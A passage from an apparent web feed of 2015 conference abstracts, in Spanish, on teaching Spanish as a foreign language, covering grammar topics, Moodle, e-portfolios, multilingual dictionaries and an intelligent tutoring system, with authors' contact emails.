Universidad de Puerto Rico, Mónica Véliz (1988) de la Universidad de Concepción de Chile y Cecilia Muse y Darío Daniel Delicia (2013) de la Universidad Nacional de Córdoba (Argentina)</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3260 La forma “su” del español. Algunas consideraciones sobre su tratamiento en las clases de ELE 2015-10-02T16:44:08+00:00 Lorelei Cisneros loreleicisneros@gmail.com <p>En esta comunicación, que se enmarca en el proyecto de Investigación “La gramática del español en un marco de estudio contrastivo” (1HUM406) radicado en la Facultad de Humanidades y Artes, UNR y dirigido por la Dra. Nora Múgica, nos detenemos en ciertas preguntas que suscita la forma posesiva <em>su</em> del español en el proceso de enseñanza aprendizaje de ELE. Partimos de algunos problemas -ligados al mismo tiempo a su naturaleza categorial, a su funcionamiento sintáctico y a su interpretación semántica- y presentamos algunas propuestas para su tratamiento.</p> <p>Como se sabe, dentro del grupo de los determinantes, los posesivos presentan características especiales: además de especificar al nombre, tienen la posibilidad de ser interpretados como argumentos. Este particular estatuto categorial del posesivo, estrechamente vinculado a sus posibilidades sintácticas y semánticas, complica cualquier intento simplista de caracterización pero abre a su vez una productiva vía de análisis para la enseñanza de ELE.</p> <p>Para una perspectiva como la que adoptamos,<em> </em>que procura una problematización y reflexión sobre el sistema lingüístico del español, el tema ofrece interesantes problemas: las características del N con el que <em>su </em>se combina, las posibilidades de alternancia con un SP con similar o idéntico contenido semántico e igual valor argumental y ciertos casos de ambigüedad semántica son algunos de los fenómenos que estudiamos y que procuran un acercamiento al español que tome a la gramática como un objeto de reflexión más que de regulación u obligación.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3261 Los sustantivos deverbales y sus complementos. Herencia argumental y eventiva 2015-10-02T16:44:08+00:00 Cristina Sofía Gómez cristinagomez404@hotmail.com <p>Esta presentación se enmarca en el proyecto de investigación “La gramática del español en un marco de estudio contrastivo” (1HUM406) radicado en la Facultad de Humanidades y Artes, UNR y dirigido por la Dra. Nora Múgica. En este trabajo abordaremos los complementos del sustantivo deverbal y focalizaremos en aquellas construcciones que pueden generar dificultad para el aprendiz de español como lengua extranjera. Esta temática tiene matices contrastivos muy significativos para los aprendices de ELE. Como se sabe, los complementos del sustantivo, desde el adjetivo, los complementos preposicionales hasta las oraciones relativas, revisten diversas características y varían en su complejidad. Pero esta complejidad se profundiza por el tipo de sustantivo trabajado. Esta tipología, el sustantivo deverbal, presenta rasgos interesantes desde la perspectiva de la interfaz léxico-sintáctica-morfológica. Presentaremos los diferentes tipos de sustantivos deverbales según su herencia argumental y eventiva, relevaremos los aspectos más significativos de cada tipo de complemento y tomaremos un caso testigo de cada uno de ellos. En el caso de los adjetivos trabajaremos con los adjetivos argumentativos (Bosque) o referenciales (Múgica) y remarcaremos la relación a nivel de la estructura argumental dentro del sintagma nominal. Con respecto a los complementos preposicionales, sin dejar de lado las construcciones preposicionales con preposiciones impuestas por el verbo, en este punto analizaremos en profundidad todos estos aspectos en la construcción preposicional con <em>de </em>contrastivamente con las estructuras del inglés remarcando aquellos elementos problemáticos en el aprendizaje del español para los hablantes de esta lengua materna.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3243 Aplicación de las TIC en la enseñanza de L2: criterios metodológicos para el diseño de un diccionario multilingüe 2015-10-02T16:44:08+00:00 Lelia Inés Albarracín manon@arnet.com.ar Ana Zakelj azcapacitacion@hotmail.com <p>El presente trabajo hace referencia a un proyecto cuyo objetivo es la construcción de una herramienta terminológica destinada a la enseñanza de lenguas específicamente español, italiano, portugués y quichua. Se trata de un diccionario visual multilingüe, en soporte informático que abarca diversos campos semánticos, dirigido a estudiantes de niveles A1 y A2 de lenguas anteriormente mencionadas.</p> <p>En este trabajo se describen y comentan los aspectos más relevantes de este proyecto, con particular énfasis en aquellos vinculados a las TICs, brindando particular atención a los criterios metodológicos para el diseño de la herramienta, especialmente los relacionados a la iconoestructura.</p> <p>Atendiendo a las múltiples diversidades que ofrecen estas lenguas, el proyecto también presta atención hacia la variación lingüística entre la zona hispanohablante del NOA y el resto del país, entre la lengua estándar y el habla regional, y además contempla la apertura hacia las culturas y lenguas indígenas americanas. El contexto de producción se sitúa en el noroeste argentino, región influenciada histórica, lingüística y culturalmente por pueblos originarios de habla quichua, y en donde el aporte de la inmigración italiana en el siglo pasado ha sido significativo, a lo que debe sumarse en la actualidad, impulsado por el turismo y el comercio, el creciente interés por el aprendizaje del portugués.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3244 Las funciones tutoriales a distancia y las estrategias de enseñanza: un análisis de los foros y portafolios del AVA-Solar 2017-11-22T11:29:22+00:00 Lívia Márcia Baptista liviarad@yahoo.com <p>La educación a distancia es una realidad en nuestro contexto actual y uno de sus soportes es el ambiente virtual de aprendizaje o plataformas de aprendizaje. Un ambiente virtual de aprendizaje (AVA) es un entorno mediado por tecnologías que promueven la comunicación, el procesamiento, la gestión y la distribución de la información. Se trata de una herramienta de mediación que facilita las interacciones entre los sujetos y la construcción del conocimiento. Siendo así, el empleo de las distintas herramientas de aprendizaje y comunicación que componen ese entorno y la realización de una efectiva mediación pedagógica, a través de la acción de la tutoría, son fundamentales para el éxito del aprendizaje. En este trabajo se presentará el Ambiente Virtual de Aprendizaje (AVA-Solar), desarrollado por la Universidade Federal do Ceará, en lo que se refiere a las herramientas y recursos que dispone y se examinarán las principales funciones tutoriales empleadas con foco en el análisis de la mediación en lo que atañe a las actividades de portafolio y foros.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3245 ELE-TUTORA: Un Sistema Tutorial Inteligente para la focalización de los errores gramaticales en la enseñanza del Español como Lengua Extranjera 2015-10-02T16:44:08+00:00 Anita Ferreira Cabrera aferreir@udec.cl <p>Los Sistemas Tutoriales Inteligentes (STI) para lenguas extranjeras se basan en los desarrollos de la Inteligencia Artificial, principalmente, en lo que compete a la utilización de técnicas de Comprensión de Lenguaje Natural y de Generación de Lenguaje Natural. A estos sistemas se les denomina ‘inteligentes’ atendiendo a la capacidad que tienen para analizar gramaticalmente una entrada en lenguaje natural y luego producir un mensaje en lenguaje natural correspondiente a una estrategia de <em>feedback </em>correctivo adecuado para el error focalizado del estudiante (Ferreira, Moore &amp; Mellish, 2007). Basados en investigaciones previas sobre errores y estrategias de feedback correctivo (Ferreira, 2003; 2006; 2007; Ferreira, Moore y Mellish, 2007) y más recientemente en la construcción de un STI para ELE (Ferreira y Kotz, 2010; Kotz y Ferreira, 2013) se ha definido un modelo de tratamiento de errores de lengua y un componente de estrategias de <em>feedback</em> correctivo para un STI para ELE. La arquitectura se compone de tres módulos: el experto, el tutor y el estudiante. Cada uno de ellos al articularse permiten la adaptabilidad del sistema acorde con el conocimiento del alumno. Para lograr una articulación completa del sistema es necesario definir los parámetros, variables e información que comparten entre ellos y la forma como llevan a cabo su tarea. En este trabajo se presentan los avances en el diseño del sistema ELE-TUTORA que estamos construyendo para la focalización en la forma (focus on form) en ELE. Se describe y explica el diseño general del sistema como su funcionamiento en lo que respecta a los diferentes módulos.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3247 Una propuesta para integrar la escritura digital en la alfabetización académica 2015-10-02T16:44:08+00:00 Andrés Olaizola aolaizola@gmail.com <p>En los últimos años, las TIC se fueron incorporando en el ámbito de la educación superior, ganando cada vez más espacio en currículos, en las estrategias de enseñanza e inclusive en el espacio físico del aula. Sin embargo, a menudo se suele plantear que las prácticas discursivas digitales degradan las competencias en lectoescritura de los estudiantes. El chat, los mensajes de texto, las publicaciones en las redes sociales, entre otros géneros digitales, perjudicarían el desempeño de muchos alumnos ingresantes a las instituciones de educación superior, ya que las formas de leer y de escribir en dichos medios serían incompatibles con la cultura escrita y las formas de pensamiento de la universidad.</p> <p>En el siguiente trabajo, postulamos integrar la escritura digital al proceso de alfabetización académica. Esta perspectiva se basa en que sostenemos que la producción de contenidos digitales que realizan la gran mayoría de los estudiantes en géneros específicos como los blogs o las redes sociales tendría el potencial de desarrollar distintas estrategias del proceso de escritura. Específicamente, nos centraremos en la conciencia del escritor sobre el problema retórico que enfrenta (reflexionar sobre el tema, la audiencia y los propósitos del texto), aspecto central para la alfabetización académica.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3248 Integración de destrezas a través de las TIC: el uso de los e-portafolios 2015-10-02T16:44:08+00:00 María Victoria Soulé maria.victoria.soule@gmail.com Elizabeth Anahí Saura elizabeth.silva@usal.edu.ar Carolina La Vita caro_ar22@hotmail.com <p>En este trabajo nos proponemos evaluar la influencia de los portafolios electrónicos tanto en el desarrollo de la L1 como en la adquisición/aprendizaje de la L2. Partiendo de una concepción constructivista de la enseñanza en la que el aprendizaje se interpreta como una actividad activa, creativa y colaborativa (Williams y Burden, 1997), nos centraremos en el uso de los denominados portafolios de proceso (García Doval, 2005) y especialmente en la creación de portafolios a partir de la selección y elaboración de <em>podcasts</em>. Observaremos que la utilización de este tipo de archivos no solo puede aplicarse para el diseño de actividades comunicativas orales, sino que también permite llevar a cabo la integración de las cuatro destrezas comunicativas: comprensión y expresión oral, y comprensión y expresión escrita. De este modo, teniendo en cuenta las diferentes posibilidades didácticas que nos ofrece el <em>podcasting </em>para la conformación de portafolios electrónicos y la integración de destrezas, nos detendremos en el análisis de actividades creadas a partir de cuatro textos orales (van Dijk, 1983): el monólogo, las interacciones institucionalizadas, las interacciones transaccionales y las interacciones conversacionales. Las dos primeras nos servirán para ilustrar el uso de los e-portafolios en un contexto educativo de español como L1 y las dos últimas para un contexto de español como L2.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3249 Estudio empírico: efectividad de un modelo de enseñanza semipresencial para ELE 2015-10-02T16:44:08+00:00 Ana Vine Jara anavinej@gmail.com Anita Anita Ferreira Cabrera aferreir@udec.cl Jessica Elejalde Gómez jesseleg@gmail.com <p>En el ámbito de la Lingüística Aplicada, la Enseñanza de Lenguas Asistida por Computador (del inglés, Computer Assisted Language Learning, CALL) ha tenido un papel importante en el proceso de enseñanza-aprendizaje de lenguas extranjeras. Uno de sus objetivos es cómo integrar de manera efectiva el uso de la tecnología en una metodología de enseñanza de lenguas. En este trabajo se presenta un estudio empírico sobre la efectividad de una propuesta metodológica para la enseñanza semipresencial de ELE. El objetivo principal de este estudio es evidenciar cómo las propuestas teóricas provenientes de la Adquisición de Segundas Lenguas (ASL): la hipótesis de la interacción, la enseñanza de lenguas basada en tareas y la perspectiva sociocultural se articulan en un contexto tecnológico de enseñanza mediatizada por el computador. Para ello, se llevó a cabo un proceso de intervención lingüística a través de un estudio cuasiexperimental (con pretest y postest) con una muestra de 21 estudiantes de nivel intermedio (B1) del Programa de Español como Lengua Extranjera de la Universidad de Concepción (ELE-UdeC). En este estudio, los alumnos trabajaron con materiales y contenidos accesibles en el Aula Virtual del Programa (http://ele.udec.cl/), implementados en una modalidad semipresencial. Los resultados evidencian la efectividad de este modelo, dado que los estudiantes incrementaron su aprendizaje lingüístico y comunicativo al término del proceso de intervención. En consecuencia, se propone considerar esta modalidad de enseñanza en la implementación de los diversos cursos de ELE.<strong></strong></p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3246 Formación docente para la enseñanza en ambientes virtuales de aprendizaje: una experiencia de exploración de la Plataforma Moodle 2015-10-02T16:44:08+00:00 Mônica Ferreira Mayrink momayrink@usp.br Júlio César da Silveira Rodrigues jcdesr@hotmail.com Nicole Helena Binholo nicolebinholo@hotmail.com <p>El objetivo de este artículo es presentar una reflexión sobre una experiencia de formación inicial para el uso de la plataforma Moodle vivida por un grupo de alumnos del curso de Letras Español de la Universidad de São Paulo. Para ello, contextualizaremos y describiremos dos proyectos de investigación que se implementaron en el ámbito del Programa <em>Ensinar com Pesquisa</em>, promovido por la USP. Discutiremos la base teórica de la investigación, que parte de una visión de aprendizaje coherente con los principios de la teoría socio-histórico-cultural de Vygotsky (1930/1998); la comprensión de las diferentes modalidades pedagógicas en la enseñanza a distancia de acuerdo con Valente (2006); los conceptos de interacción e interactividad según Almeida (2006), y de mediación pedagógica conforme Masetto (2012) y Vygotsky (1930/1998). En seguida, discutiremos los resultados alcanzados durante el proceso de investigación y exploración de la Plataforma Moodle y su efecto en la formación de los futuros profesores para el uso de las tecnologías en la enseñanza.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3258 El abordaje de los aspectos socioculturales en la enseñanza del español como lengua segunda y extranjera 2015-10-02T16:44:08+00:00 Fabio Daniel Dandrea fdandrea@hum.unrc.edu.ar <p>El presente trabajo adopta la propuesta teórica-metodológica de la Pragmática Sociocultural (Bravo, 2002, 2004, 2005 y 2009) con el objeto de enfocar los aspectos socioculturales como concepto por considerar en el estudio del español como lengua segunda y extranjera. La variabilidad y características socioculturales que presentan los contextos hispanohablantes promueven el estudio del contexto como elemento relevante para la interpretación de la situación comunicativa. Argentina, como resultado del trabajo desarrollado desde 2004 por el Consorcio Interuniversitario ELSE (Español Lengua Segunda y Extranjera), ha acuñado un examen internacional sobre lengua española denominado CELU (Certificado Español Lengua y Uso). Como indica la propia denominación del documento, el examen mide competencias para el desempeño comunicativo del postulante. Atendiendo esta relevancia del contexto, tanto desde un enfoque teórico metodológico como desde las implicancias de su conocimiento y manejo por parte de los postulantes para el examen CELU, la presente comunicación propone sistematizar nociones teóricas propias de la Pragmática Sociocultural para establecer el grado de aplicabilidad a los espacios originados en ELSE y trazar, a partir de un estudio de caso, una dirección de trabajo referida a la promoción de los aspectos socioculturales, objeto tanto del enfoque teórico metodológico citado como del propio examen CELU.<strong> </strong></p><p> </p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3259 Primeras interacciones de alumnos iniciantes de E/LE en la plataforma Moodle: del diagnóstico de sus necesidades de aprendizaje hacia la concepción de una propuesta didáctica de enseñanza 2015-10-02T16:44:08+00:00 Mônica Ferreira Mayrink O'Kuinghttons momayrink@usp.br Andrea Alves Rodrigues andrea.rodrigues@usp.br Rafael Pinto Pinheiro rafap.pinheiro@hotmail.com <p>Los ambientes virtuales de aprendizaje (AVA) pueden promover la interacción, el desarrollo de la competencia comunicativa y de la competencia lingüística de los estudiantes mediante la creación de oportunidades reales de uso del lenguaje posibilitada por una inmensa gama de situaciones prácticas de convivencia social generadas en el medio digital (GARGIULO y MAYRINK, 2013). Partiendo de esta perspectiva, presentaremos en este artículo los resultados de una investigación sobre la producción escrita de alumnos iniciantes de español como lengua extranjera, que obedece a sus primeras interacciones en el idioma dentro de un AVA. Para ello, utilizamos los textos elaborados por los estudiantes en dos actividades realizadas en la plataforma Moodle: la escritura de su perfil y su participación en una interacción con el uso de la herramienta diálogo. El análisis nos permitió identificar algunos aspectos gramaticales que son recurrentes en la producción escrita de los alumnos como, por ejemplo, la confusión entre el artículo neutro y el artículo definido masculino, las dificultades con la concordancia verbal y las reglas de acentuación. Tras discutir los resultados de este análisis, presentaremos un conjunto de actividades elaboradas con herramientas de la plataforma Moodle que promueven distintos grados de interactividad (ALMEIDA, 2006), a fin de trabajar específicamente sobre los problemas de escritura detectados en los textos de los estudiantes. Resaltaremos cómo las actividades pretenden atender a las necesidades de aprendizaje de los estudiantes al mismo tiempo que buscan expandir su uso del lenguaje y contribuir a su desarrollo como aprendices autónomos.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3256 Cómo se construyen los géneros en los libros de ELE 2015-10-02T16:44:08+00:00 Ana María Bocca anabocca@hotmail.com Nélida Beatriz Vasconcelo beatrizvasconcelo@yahoo.com.ar <p>El libro de texto es sin duda el recurso más visible en la clase de ELE, ya que articula los conceptos y orienta los contenidos. El auge del paradigma comunicativo en la enseñanza con su énfasis en la autenticidad y materiales reales han sido factores importantes para representar el lenguaje en toda su variedad y, por eso, se construye de códigos y tipos discursivos. Los libros de texto no imitan o piden prestado géneros en forma consistente sino que “absorben, digieren” elementos en distinta forma y grado.</p> <p>El objetivo de esta presentación es informar sobre un proyecto de investigación que se desarrolla en la facultad de Lenguas, U.N.C., que explora los diferentes componentes del libro de texto para el aula de una LE. El marco teórico en que se fundamenta este proyecto son los postulados de la lingüística sistémico funcional (Halliday 1985- 1994) y Halliday y Matthiesen (2004). El desarrollo del proyecto ha alcanzado, actualmente, las siguientes etapas: relevamiento de aspectos lingüísticos y gráficos correspondientes a la portada, índice de contenidos, nombre de las unidades y de sus secciones, consignas y modos de diseño. Los aspectos gráficos que se relevaron son: las imágenes, los cuadros/tablas y los recursos de enmarcación o framing en inglés. Se codificaron datos sobre estos aspectos de seis libros de ELE. En este trabajo analizaremos los géneros empleados en los manuales de ELE y presentaremos ejemplos con el fin de crear conciencia en los docentes acerca de la necesidad de adoptar una mirada crítica en relación a los libros fundada en el desarrollo de competencias que no se limiten al campo estrictamente lingüístico.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3253 3 Vías para la producción de materiales en centros de español como lengua extranjera 2015-10-02T16:44:08+00:00 Cecilia Cielo cecilia@academiabuenosaires.com Hernán Guastalegnanne hernancio@gmail.com <p>La producción de materiales es un tema recurrente en capacitaciones, charlas y encuentros de profesores y coordinadores de centros de enseñanza de Español como Lengua Segunda o Extranjera. La falta de materiales editados con la variedad lingüística propia, la constante necesidad de adaptar lo editado en España y la vasta cantidad desordenada de material auténtico son factores que se conjugan para complicar la tarea de elegir materiales útiles y adecuados para usar en las clases. El desafío para los centros de enseñanza yace entonces en la tarea de elegir la opción que más se ajuste a sus necesidades y a las de sus estudiantes. Las opciones son: elegir un libro de texto editado en el país o en el exterior, producir sus propios “libros de texto” o trabajar sin libro de texto y navegar en un modelo para armar. Cada opción tiene sus ventajas y desventajas. En este trabajo nos proponemos desglosar en qué consisten en cada caso y proponer un modelo de análisis para comprender el propio escenario y actuar en consecuencia de manera pedagógicamente adecuada y sostenible.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3255 Las instrucciones de uso en diccionarios bilingües de español para escolares brasileños 2015-10-02T16:44:08+00:00 Odair Luiz Nadin da Silva odair.lluiz@gmail.com María Teresa Fuentes Morán tfuentes@usal.es <p>Los diccionarios suelen contener algún tipo de <em>instrucciones de uso</em> con el objetivo de facilitarle al usuario algunas orientaciones que pueden ayudarle a encontrar la información que busca en la obra lexicográfica. En general, se trata de aclaraciones sobre la organización de la obra en los niveles de la macro y de la microestructura; es decir, cómo se presentan los lemas, cómo están organizados los artículos y cuáles son las informaciones que se registran en ellos, entre otros aspectos. Perseguimos aquí el objetivo de presentar una descripción y análisis de cómo son las instrucciones de uso en algunos diccionarios bilingües de español para aprendices brasileños, como por ejemplo, el <em>Dicionário Escolar Espanhol Michaelis (2008)</em> y el <em>Minidicionário Espanhol Saraiva (2009)</em>, con el intento de discutir sobre cómo dichas instrucciones pueden contribuir al efectivo uso didáctico del diccionario<em>.</em> Para la selección de los diccionarios que hemos analizado, consideramos dos criterios: (i) diccionarios bilingües español-portugués que hayan sido publicados en Brasil a partir del año 2005, año de la aprobación de la ley que ha incluido la lengua española como asignatura obligatoria en el currículo escolar de la Secundaria y, (ii) diccionarios que se denominan escolares para brasileños.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3252 Diccionario porteño online: Expresiones coloquiales del español rioplatense en la clase de ELE 2015-10-02T16:44:08+00:00 Valeria Scutiero valeriascutiero@gmail.com Susana Benedek susanabenedek@gmail.com <p>El presente trabajo tiene por objeto presentarles un diccionario de voz de palabras, expresiones, frases coloquiales y del lunfardo de Buenos Aires, producido como resultado de un trabajo colaborativo por estudiantes estadounidenses de inmersión en el marco del taller de comprensión y producción oral. Se trata de la producción de audios o videos, disponibles en el blog del programa, como resultado de un trabajo de investigación y reflexión. Los estudiantes seleccionan una frase o palabra para realizar un estudio de uso de contexto. Los argentinos, hablantes nativos, son los informantes que proveen los ejemplos, las anécdotas, entonaciones y pronunciación para el diseño de un guión coherente y atractivo para el oyente, con ejemplos significativos en contexto. Luego se procede a grabar el audio o video que se sube al blog, acompañado por una imagen que ilustra el contenido del mismo. En este proyecto el contexto de inmersión lingüística se ve favorecido por la conformación de redes de comunicación entre las personas y que, además permite trabajar, entre otros aspectos, la producción escrita, la fonética y la entonación y la gestualidad. Se trata de una red de aprendizaje entre un docente guía y un estudiante con participación activa y gestión de su proceso de aprendizaje. El producto final resulta ser algo sumamente útil para todo extranjero que llega al país: <strong><em>un diccionario porteño on line</em></strong>.</p> <p> </p> <p> </p><p> </p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3254 Reflexiones sobre procedimientos interculturales en libros didácticos de lengua española para brasileños 2015-10-02T16:44:08+00:00 Cinthia Yuri Galelli cynthia.galli@usal.edu.ar Nildicéida Aparecida Rocha nilapro@yahoo.com.br <p>Se puede observar en los últimos años el creciente uso del término interculturalidad en los discursos educacionales de Brasil, principalmente los que tratan de la lengua extranjera. Este término está presente en los <em>Parâmetros Curriculares Nacionais</em> (PCNs), en las <em>Orientações Curriculares</em>, en el <em>Programa Nacional do Livro Didático</em> (PNLD) y en las innúmeras investigaciones académicas publicadas sobre educación. Al contrario de ser una enseñanza basada en las estructuras formales, metalingüísticas, en las habilidades comunicativas, en el mercado laboral o en los exámenes de ingreso a la universidad, este tipo de enseñanza tiene por objetivo el desarrollo de otros aspectos en el aprendiz, como citado en las <em>Orientações Curriculares</em> <em>para o Ensino Médio</em> de 2006: “tener consciencia, entender y aceptar estos nuevos valores y creencias presentes en distintos grupos sociales” (p.148). Si desarrollar esta sensibilidad en los alumnos no es una tarea fácil para el profesor, este aún cuenta con una escasa formación sobre el tema y, con una mirada homogénea difundida por la prensa, muchas veces solamente puede recurrir a los materiales didácticos previamente seleccionados por la institución escolar. En este sentido, el objetivo de nuestro trabajo es describir y analizar de qué modo los libros de español de la Enseñanza Media elegidos por el <em>Programa Nacional do livro didático </em> (PNLD): <em>Síntesis</em>, <em>El arte de leer español</em> y <em>Enlaces,</em> tratan la interculturalidad y en qué medida lo hacen. Este trabajo está basado en las lecturas de Kramsh (1993) y Byram (1997), pues tratan de la interculturalidad dando significativas contribuciones para la enseñanza de lenguas.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3257 Resultados de la disponibilidad léxica de la región NEA de Argentina. Aportes para la producción de materiales de enseñanza para extranjeros de contenidos culturales 2015-10-02T16:44:08+00:00 Hugo Roberto Wingeyer hugowingeyer@hotmail.com Camila Rinaldi camycronopios22@yahoo.com.ar Viviana Andrea Eich vivieich@gmail.com <p>El objetivo de este trabajo es la aplicación de los resultados de los centros de interés: <em>Mitos populares</em>, <em>La ciudad</em>, <em>El campo</em>, <em>¿Cómo insultamos?</em>, entre otros, obtenidos en el marco de la identificación y el análisis del léxico sincrónico disponible del español de las ciudades de Resistencia, Corrientes y Posadas. Aplicaciones relacionadas con la elaboración de programaciones interculturales para la enseñanza de E/LE, en el enfoque comunicativo. Partimos del concepto de cultura que se enmarca dentro del enfoque comunicativo, en donde el objetivo se centra en el logro de la competencia comunicativa, mediante el desarrollo de las cuatro destrezas: la comprensión auditiva, la expresión oral, la comprensión lectora y la expresión escrita. Así, se plantea una cultura de lo cotidiano que acaba con la visión tradicional de enseñar sólo la cultura legitimada, y que incluye en el proceso de aprendizaje todos los elementos que influyen en el hacer cultural de los hablantes. En cuanto a los materiales y el método, se trata de la disponibilidad léxica, que se basa en la aplicación de pruebas asociativas determinadas por temas, aplicadas en 2001, 2008, 2012 y 2013 a un total de 1.500 estudiantes de escuelas secundarias de los primeros y de los últimos cursos. Para su cálculo, hemos utilizado un programa estadístico de la disponibilidad léxica, que trabaja con palabras y vocablos: las primeras son todas las unidades recogidas y los segundos, cada una de las entradas diferentes. Consideramos que el conocimiento y la sistematización de las unidades identificadas en los diferentes temas que se encuentran en nuestras bases de datos proporciona herramientas eficaces para la programación de la enseñanza de la cultura, en el campo de la enseñanza-aprendizaje de E/LE, en la región NEA de Argentina y para su posible incorporación en el momento en el que se elaboren materiales didácticos.</p><p> </p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3267 Opciones didácticas para la enseñanza de la lengua y la literatura españolas como L2 2015-10-02T16:44:08+00:00 Silvina Barroso silvina_barroso@hotmail.com <p>En el presente trabajo se presentarán algunas de las decisiones que conforman la propuesta didáctica de la enseñanza de la lengua y la literatura en español, desde las Literaturas Argentinas y latinoamericanas, como lengua extranjera en programas para estudiantes universitarios de intercambio. Desde las discusiones que han dado como resultado la propuesta de la UNRC para sus programas de ELE, se proponen algunas líneas de abordaje de este objeto que tiene en cuenta no solamente los supuestos teóricos de las una de las áreas disciplinares: la literatura sino, fundamentalmente, las condiciones contextuales/situacionales de su implementación y los fundamentos político-ideológicos que organizan la historia de resistencia de esta lengua y de estas literaturas en este lugar del mundo. Desde esas opciones se proponen algunas de las discusiones teórico/metodológicas que enmarcan el trabajo que se lleva a cabo en la unidad académica UNRC.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3268 Problemas de concordancia: “cuando el sujeto sintáctico no es quién” 2015-10-02T16:44:08+00:00 María de los Ángeles Bianchi angelesbianchi2009@hotmail.com <p>La noción de concordancia, imprescindible para lograr una escritura correcta de cualquier tipo de texto, debe comenzar enseñándose en el espacio curricular Lengua desde el nivel primario y continuar complejizándose en los niveles medio y superior. Confundir funciones sintácticas con funciones semánticas y no advertir que la concordancia es el único criterio científicamente válido para identificar el sujeto de una oración, lleva a cometer errores que no afectan solo a un mero análisis sintáctico sino a la producción y comprensión de oraciones y textos.</p> <p>La investigación que presentamos se focalizó en la detección de los criterios que utilizan para reconocer el sujeto sintáctico, los alumnos ingresantes del Profesorado en Lengua y Literatura del IFDC-SL y los docentes del sistema educativo que asistieron al módulo II del Trayecto “Actualización en Gramática” y que tienen a su cargo el espacio curricular Lengua, en San Luis capital. Asimismo nos propusimos indagar qué relevancia le otorgan a la concordancia entre SN y SV y cómo funciona su intuición de hablantes para diferenciar los distintos papeles semánticos que puede poseer el sujeto sintáctico.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3269 Enseñar la Gramática en relación con su carácter histórico, temporal y disputado 2015-10-02T16:44:08+00:00 Adriana Collado adrianacollado23@gmail.com <p>La enseñanza de la gramática ha sido, tradicionalmente, uno de los quehaceres más naturalizados en la historia de la didáctica. Diferentes enfoques predominantes en la enseñanza de la lengua han desconocido el carácter histórico, temporal y disputado (Hopper 1998) de la gramática, como emergente del discurso.</p> <p>El marco que da fundamento a este trabajo surge de selecciones epistemológicas realizadas a partir de recorridos teóricos que priorizan el estudio del uso de la lengua, considerada en su dimensión social y cultural. La selección de conceptos, unidades de análisis y perspectivas teórico-metodológicas buscan instalar una mirada crítica sobre el lenguaje como espacio social, y propone construir una dinámica que tenga en cuenta esta perspectiva.</p> <p>Los enfoques gramaticales de análisis del español vigentes desde mediados del siglo xx parten de una concepción del signo como unidad arbitraria. Su ‘contexto máximo’ de análisis es la oración descontextualizada de su situación real de uso. Esos modelos formalistas (<em>a priori</em>, diría Hopper 1998<a href="file:///C:/Users/Soledad/Desktop/Ense%C3%B1anza/Ponencia%20Collado%20USAL%202013.%20Corregido%202015.doc#_ftn1">[1]</a>) definen la lengua como un conjunto inmanente de reglas invariables, y no como un sistema de tendencias que refleja concepciones de mundo en la sociedad. Para estos enfoques la gramática está completa y predeterminada, y es independiente de las condiciones de producción y recepción del discurso.</p> <p>Nuestra intención es hacer foco en una didáctica de la gramática que abreve en teorías que consideramos superan al formalismo, por lo tanto nos enmarcamos en un enfoque funcionalista que reconoce que hay principios que, si bien son externos al lenguaje, sin embargo lo ordenan. El signo, entonces, está motivado en su constitución y en su evolución. Esto implica tener en cuenta estrategias más o menos prototípicas que no pueden ser reducidas a límites precisos entre ellas ni a binarismos artificiales, sino que presentan límites difusos y una naturaleza a escalar.</p> <p>Proponemos, entonces, que la gramática, como cristalización de procesos socioculturales y cognitivos, sea estudiada en función de su forma de contribuir a la construcción de significados en el uso del lenguaje. Y nos apoyamos en Bajtin (1953, p.252), que considera que:</p> <p>… el estudio del enunciado como una unidad real de la comunicación discursiva permitirá comprender mejor la naturaleza de las unidades de la lengua (como sistema) que son la palabra y la oración.</p> <p>La reflexión gramatical se transforma en esta propuesta, en un espacio de reflexión sobre sistemas ideológicos que operan en la construcción discursiva.</p> <div><br /> <hr size="1" /><div><p><a href="file:///C:/Users/Soledad/Desktop/Ense%C3%B1anza/Ponencia%20Collado%20USAL%202013.%20Corregido%202015.doc#_ftnref1">[1]</a> Hopper, P. (1998) “Emergent grammar” en Tomasello. M. (ed.) <em>The new psychology of language. Cognitive and functional approaches to language structure</em>. New Jersey. LEA: 155-175</p> <p> </p></div></div> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3270 La enseñanza de la escritura académica: sintaxis y referencialidad, la gramática como herramienta lingüística y cognitiva 2015-10-02T16:44:08+00:00 Mariana Cuñarro mcunarro@gmail.com <p>Dentro del ámbito académico, la comunicación escrita es uno de los modos legitimados para establecer la comunicación y difundir los saberes producidos. En este sentido, un buen dominio de la escritura 